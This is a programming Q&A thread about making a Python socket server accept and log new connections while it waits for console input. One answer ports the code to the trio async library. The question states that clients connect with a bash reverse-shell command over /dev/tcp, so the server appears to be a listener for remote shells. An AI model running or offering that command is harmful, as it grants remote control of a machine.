0

I have the server which accepts connection requests from clients. Clients send connection requests using this command: bash -i > /dev/tcp/ip/port 0<&1 1>&1. I want my server to instantly accept new connection requests and log them to console but I don't know how. In the code below there is while loop. As we can see command_accept() need to finish itself for client_accept() to start. That means I always need to pass some command to accept new client requests. I need client_accept() to be always running in the background.

I tried to set a time limit to my input but that's not a solution I need. Also I tried different libraries for asynchronous programming though I'm not sure I'm doing this correctly.

import socket
import time
import sys


host = '127.0.0.1'
port = 1344
id_counter = 0

server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)

server.bind((host, port))
server.listen()

clients = {}

def client_accept(server):
    while True:
        try:
            conn, addr = server.accept()
            global id_counter
            id_counter += 1
            clients[id_counter] = (conn, addr)
            print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
        except socket.timeout:
            break

def command_accept():
    command = input('server > ')
    #** don't pay attention **#
    if command == 'exit':
        sys.exit()
    else:
        print(f'command {command} accepted!')   

while True:
    command_accept()
    client_accept(server)

Expected result: I don't pass anything to the input in command_accept and yet if new client sent request then the server will instantly accept it and print something like New client [ID 1] with address 127.0.0.1:45431.

  • You could use a async networking frame work to solve this type of problem. For example twisted. – Barry Scott Jun 29 '19 at 08:40
  • Thank you for your answer. I tried to use different async libraries but It didn't work the right way. I would really appreciate your help if can show me how to code this correctly. – Dmytro Ohorodnik Jun 29 '19 at 09:24

2 Answers2

0

Try to do that with socket.io and Threading, so if the socket got a ON_CONNECT event you can just push the information in a list and print it to the console.

souken
  • 1
0

as an excuse to experiment with the trio async library I ported your code to it

start by defining a simple class for client connections and the code to keep track of them:

from sys import stderr
from itertools import count

class Client:
    def __init__(self, stream):
        self.stream = stream

    async def run(self):
        lines = LineReader(self.stream)
        while True:
            line = (await lines.readline()).decode('ascii')
            if not line or line.strip().casefold() in {'quit', 'exit'}:
                await self.stream.send_all(b'bye!\r\n')
                break
            resp = f'got {line!r}'
            await self.stream.send_all(resp.encode('ascii') + b'\r\n')

CLIENT_COUNTER = count()
CLIENTS = {}

async def handle_client(stream):
    client_id = next(CLIENT_COUNTER)
    client = Client(stream)
    async with stream:
        CLIENTS[client_id] = client
        try:
            await client.run()
        except Exception as err:
            print('client failed', err, file=stderr)
        finally:
            del CLIENTS[client_id]

LineReader comes from here: https://stackoverflow.com/a/53576829/1358308

next we can define the server stdin processing:

async def handle_local(nursery):
    while True:
        try:
            command = await async_input('server > ')
        except EOFError:
            command = 'exit'

        if command == 'exit':
            nursery.cancel_scope.cancel()
        elif command == 'list':
            for id, client in CLIENTS.items():
                print(id, client.stream.socket.getpeername())
        else:
            print(f'unknown command {command!r}')

check out the docs for info about nurseries

this uses a utility function to wrap input up into an async function.

import trio

async def async_input(prompt=None):
    return await trio.run_sync_in_worker_thread(
        input, prompt, cancellable=True)

then we define code to tie all the pieces together:

SERVE_HOST = 'localhost'
SERVE_PORT = 1344


async def async_main():
    async with trio.open_nursery() as nursery:
        nursery.start_soon(handle_local, nursery)

        await trio.serve_tcp(
            handle_client,
            port=SERVE_PORT, host=SERVE_HOST,
            handler_nursery=nursery)

trio.run(async_main)

some more links/references (by trio's author):

Sam Mason
  • 15,216
  • 1
  • 41
  • 60
  • It's really good. Thank you <3. I'll try to integrate this idea to my project. Though isn't there a way to do such thing without changing my functions and using trio? – Dmytro Ohorodnik Jun 29 '19 at 11:38
  • you only posted two functions, which aspects of them are important? I'd suggest going through the echo server tutorial above, it covers lots of details about common failures in network code and what to do about them. it helps to know about this sort of stuff before committing too much code – Sam Mason Jun 29 '19 at 12:35
  • This code above is just a part of my project. Unfortunately I can't change current functions. – Dmytro Ohorodnik Jun 29 '19 at 12:41
  • I guessing someone has put constraints on what you are allowed to change. I suggest you share the technical problem with that someone and ask for help. – Barry Scott Jun 30 '19 at 10:54